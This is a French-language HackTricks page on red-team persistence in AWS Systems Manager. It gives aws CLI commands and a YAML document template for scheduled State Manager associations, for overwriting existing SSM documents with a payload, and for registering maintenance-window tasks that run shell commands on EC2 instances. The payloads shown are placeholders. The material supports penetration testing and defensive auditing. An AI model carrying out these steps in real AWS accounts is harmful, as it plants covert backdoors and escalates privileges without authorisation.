AWS - SSM Perssitence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

SSM

Pour plus d’informations, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Using ssm:CreateAssociation for persistence

Un attaquant disposant de la permission ssm:CreateAssociation peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s’exécuter à un intervalle fixe, ce qui les rend adaptées à une persistance de type backdoor sans sessions interactives.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Cette méthode de persistence fonctionne tant que l’instance EC2 est gérée par Systems Manager, que l’agent SSM est en cours d’exécution, et que l’attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites ssm:SendCommand. Important: le paramètre --schedule-expression (par ex., rate(30 minutes)) doit respecter l’intervalle minimum de 30 minutes imposé par AWS. Pour une exécution immédiate ou unique, omettez complètement --schedule-expression — l’association s’exécutera une fois après sa création.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un attaquant disposant des permissions ssm:UpdateDocument et ssm:UpdateDocumentDefaultVersion peut escalader ses privilèges en modifiant des documents existants. Cela permet aussi de mettre en place de la persistence au sein de ce document. En pratique, l’attaquant aurait également besoin de ssm:ListDocuments pour obtenir les noms des documents custom et, si l’attaquant veut obfusquer son payload dans un document existant, ssm:GetDocument serait nécessaire aussi.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Ci-dessous se trouve un exemple de document qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d’éviter des problèmes avec l’invocation. Le document ci-dessous, par exemple, fonctionnera pour les exemples ssm:SendCommand et ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un attaquant disposant des permissions ssm:RegisterTaskWithMaintenanceWindow et ssm:RegisterTargetWithMaintenanceWindow peut élever ses privilèges en enregistrant d’abord une nouvelle target avec une maintenance window existante, puis en mettant à jour l’enregistrement d’une nouvelle task. Cela permet une exécution sur les targets existantes, mais peut permettre à un attaquant de compromettre des compute avec différents roles en enregistrant de nouvelles targets. Cela permet aussi la persistence, car les tasks de maintenance windows sont exécutées à un intervalle prédéfini lors de la création de la window. En pratique, l’attaquant aurait aussi besoin de ssm:DescribeMaintenanceWindows pour obtenir les IDs des maintenance windows.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.